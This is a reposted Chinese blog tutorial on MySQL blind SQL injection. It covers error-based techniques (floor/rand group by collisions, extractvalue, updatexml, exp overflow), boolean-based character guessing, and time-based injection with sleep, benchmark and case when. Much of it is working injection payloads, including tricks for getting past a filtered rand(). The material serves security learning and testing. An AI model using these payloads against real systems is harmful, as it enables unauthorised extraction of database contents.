Mysql盲注

当我们无法从显示的页面上直接获取SQL语句的执行结果时,需要进行盲注

  • 手工盲注的基本步骤
    1. 判断是否存在注入 字符型还是数值型
    2. 猜解当前数据库名
    3. 猜解数据库的表名
    4. 猜解表中的字段名
    5. 猜解数据

下面,我们探讨一下常见的三种盲注

基于报错的盲注

  • 利用条件
    1. 系统未关闭数据库报错信息,对于一些sql错误直接回显在了错误上
    2. 未对报错函数进行过滤

group by key报错

原理

当在一个聚合函数,比如CONUNT函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来, count是计数函数,当count和group by一起使用时会建立一个虚拟表,其中key为主键,用来计数,表大致如下

开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录。存在则count(*)字段直接加1,而我们是按floor(rand()*2)分组,是个随机数,假设在查询时key为1,而虚拟表内只有key为0的记录,那么就会插入,而插入时rand()又会计算一次,假设计算出来是0,那么就会导致主键key冲突报错,如果运气好的话,此方法也可能不报错,所以需要多尝试几次

实例

select * from users where usedsize=100 union select count(*), concat(database(), floor(rand()*2)) as a, 3, 4 from users group by a;
select * from users where usedsize=1 union SELECT count(*),CONCAT((SELECT database()),floor(rand()*2)) as a from test group by a --+
select * from users where usedsize=1 and (select count(*), concat((select version()), floor(rand()*100))as a from information_schema.tables group by a)=(1,'sss');#

没表自行造表

(select 1 union select null union select !1)

rand被过滤用变量构造

select * from users where usedsize=1 and (select @a:=1,count(*) from information_schema.tables group by concat(version(),@a:=(@a+1)%2))>(1,2)#
select * from users where usedsize=1 and (select 1,min(@a:=1) from information_schema.tables group by concat(version(),@a:=(@a+1)%2))>(1,2)#

或name_const函数代替,同样构造出相等列名

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

extractvalue()报错

原理

extractvalue(xml文档名称,xml路径) //从目标xml返回包含所查询值的字符串

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

使用concat拼接,连接字符串为””,因为””不是路径符号,查询语句会报错,会将我们所需的信息返回出来

select extractvalue('anything',concat('~',version()));
select extractvalue('anything',concat('=',version()));

Tips: extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substr()函数截取,一次查看32位

updatexml()报错

原理

updatexml(xml文档名称,xml路径,更新内容)

类似extractvalue()原理

select * from users where id =1 and (updatexml('anything',concat('~',(select version())),'anything'));

Tips: 同extractvalue()函数,updatexml()函数能查询字符串的最大长度也是32,如果超过则也需要使用substr()函数截取,一次查看32位

exp()报错

原理

Exp()是以e为底的对数函数,exp()函数报错注入是一个Double型数据溢出,利用了派生表

mysql版本>5.5.53时,无法利用exp()函数

select 1,exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); #

基于布尔的盲注

利用逻辑判断猜解数据,通过构造sql语句,使得页面在某个逻辑呈现一种状态,另一个逻辑呈现另一个状态,只要能够构造出差异,就能开始布尔盲注

select * from users where id =1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>=5 --+
# 判断当前数据库第一个表的表名长度是否大于等于5
# 得到长度就可以继续猜解表名,可用二分查找法
select * from users where id =1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>=68 --+
# substr还可以换mid,ascii可换ord,效果一样
# 有时也可以用rlike、regexp正则匹配来逐位爆破字符

基于时间的盲注

时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容正确与否,只能通过执行的时间来获取数据

  • 常用的延时方法
    • sleep(3)
    • benchmark(5000000,sha(1))
    • 笛卡尔积
      • select count(*) from information_schema.columns A,information_schema.columns B
    • 大正则

if判断

条件为真则执行sleep

select * from users where id ='1' and if(ascii(substr(database(),1,1))>115,sleep(5),null);#

case when判断

case 要判断的字段 when 判断字段满足的条件 then 成功满足时的输出值 else 否则输出值 end 输出字段的名字

select a.*,
case name
when '流浪' then '法师'
else '战士'
end as '类型'
FROM flag_tab a;

SELECT a.*,
CASE
WHEN a.age BETWEEN 0 and 20 THEN '青年'
WHEN a.age BETWEEN 20 and 40 THEN '中年'
ELSE '非人类'
END AS '描述'
FROM flag_tab a;

# 作为值不能加as
select name from user where name=case when 1=1 then 'admin' else 0 end='admin'; 

select case when ascii(substring(database() from 1 for 1 ))<128 then sleep(4) else 1 end;
select * from user where id = 1 && (case when ascii(substring(database() from 1 for 1 ))<128 then sleep(4) else 1 end);
内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/b1ackc4t/p/15602170.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!